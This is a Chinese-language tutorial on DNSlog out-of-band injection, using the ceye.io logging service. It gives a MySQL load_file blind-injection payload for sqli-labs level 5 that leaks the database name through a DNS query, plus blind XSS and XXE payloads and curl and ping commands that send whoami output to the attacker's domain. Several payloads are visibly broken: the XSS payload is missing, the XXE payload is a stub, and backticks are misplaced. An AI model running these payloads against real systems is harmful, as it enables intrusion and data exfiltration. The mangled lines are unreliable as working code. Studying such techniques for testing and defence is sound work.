在實際測試一些網站的安全性問題的時候,有些測試命令執行后是無回顯的,我們可以寫腳本來進行盲注,但有些網站會封禁掉我們的ip地址,這樣我們可以通過設置ip代理池解決,但是遇到盲注往往效率很低,所以產生了dnslog注入。
在使用dnslog之前我們需要先了解一下反引號符號:
符號:`
名稱:反引號,上分隔符
位置:反引號,這個字符一般在鍵盤的左上角,數字1的左邊,不要將其同單引號混淆
作用:反引號括起來的字符串被shell解釋為命令行,在執行時,shell首先執行該命令行,并以它的標準輸出結果取代整個反引號(包括兩個反引號)部分。
DNSlog回顯測試如下:
首先需要有一個可以配置的域名,比如:ceye.io,然后通過代理商設置域名 ceye.io 的 nameserver 為自己的服務器 A,然后再服務器 A 上配置好 DNS Server,這樣以來所有 ceye.io 及其子域名的查詢都會到 服務器 A 上,這時就能夠實時地監控域名查詢請求了,圖示如下。
DNS在解析的時候會留下日志,咱們這個就是讀取多級域名的解析日志,來獲取信息
簡單來說就是把信息放在高級域名中,傳遞到自己這,然后讀取日志,獲取信息。
這樣說原理很抽象,下面通過實際例子看下。
http://ceye.io 這是一個免費的記錄dnslog的平臺,我們注冊后到控制面板會給你一個二級域名:xxx.ceye.io,當我們把注入信息放到三級域名那里,后臺的日志會記錄下來。
0x01sql盲注
就以sql盲注為例。深入理解下DNSlog注入過程:
通過DNSlog盲注需要用的load_file()函數,所以一般得是root權限。show variables like ‘%secure%’;查看load_file()可以讀取的磁盤。
1、當secure_file_priv為空,就可以讀取磁盤的目錄。
2、當secure_file_priv為G:,就可以讀取G盤的文件。
3、當secure_file_priv為NULL,load_file就不能加載文件。
通過設置my.ini來配置。secure_file_priv=””就是可以load_flie任意磁盤的文件。
在mysql命令行執行:select load_file(‘afanti.xxxx.ceye.ioaa’);其中afanti就是要注入的查詢語句
查看平臺,dnsLog被記錄下來。
load_file()函數可以通過dns解析請求。
以sql-labs第五關:
payload:’ and if((select load_file(concat(”,(select database()),’.xxxxx.ceye.iobc’))),1,0)– -+
執行的sql語句:SELECT * FROM users WHERE id=’1′ and if((select load_file(concat(”,(select database()),’.xxxxx.ceye.iobc’))),1,0)
查看dnslog日志,發現security數據庫被查詢出來:
0x02 xss(無回顯)
通過盲打,讓觸發者瀏覽器訪問預設至的鏈接地址,如果盲打成功,會在平臺上收到如下的鏈接訪問記錄:
payload:>讓src請求我們的dnslog平臺
0x03 ×××F(無回顯)
payload:
%remote;]>
0x04命令執行(無回顯)
當 ping 一個域名時會對其進行一個遞歸 DNS 查詢的過程,這個時候就能在后端獲取到 DNS 的查詢請求,當命令真正被執行且平臺收到回顯時就能說明漏洞確實存在。
Linux
curl http://haha.xxx.ceye.io/`whoami
pingwhoami`.xxxx.ceye.io
Windows
ping %USERNAME%.xxx.ceye.io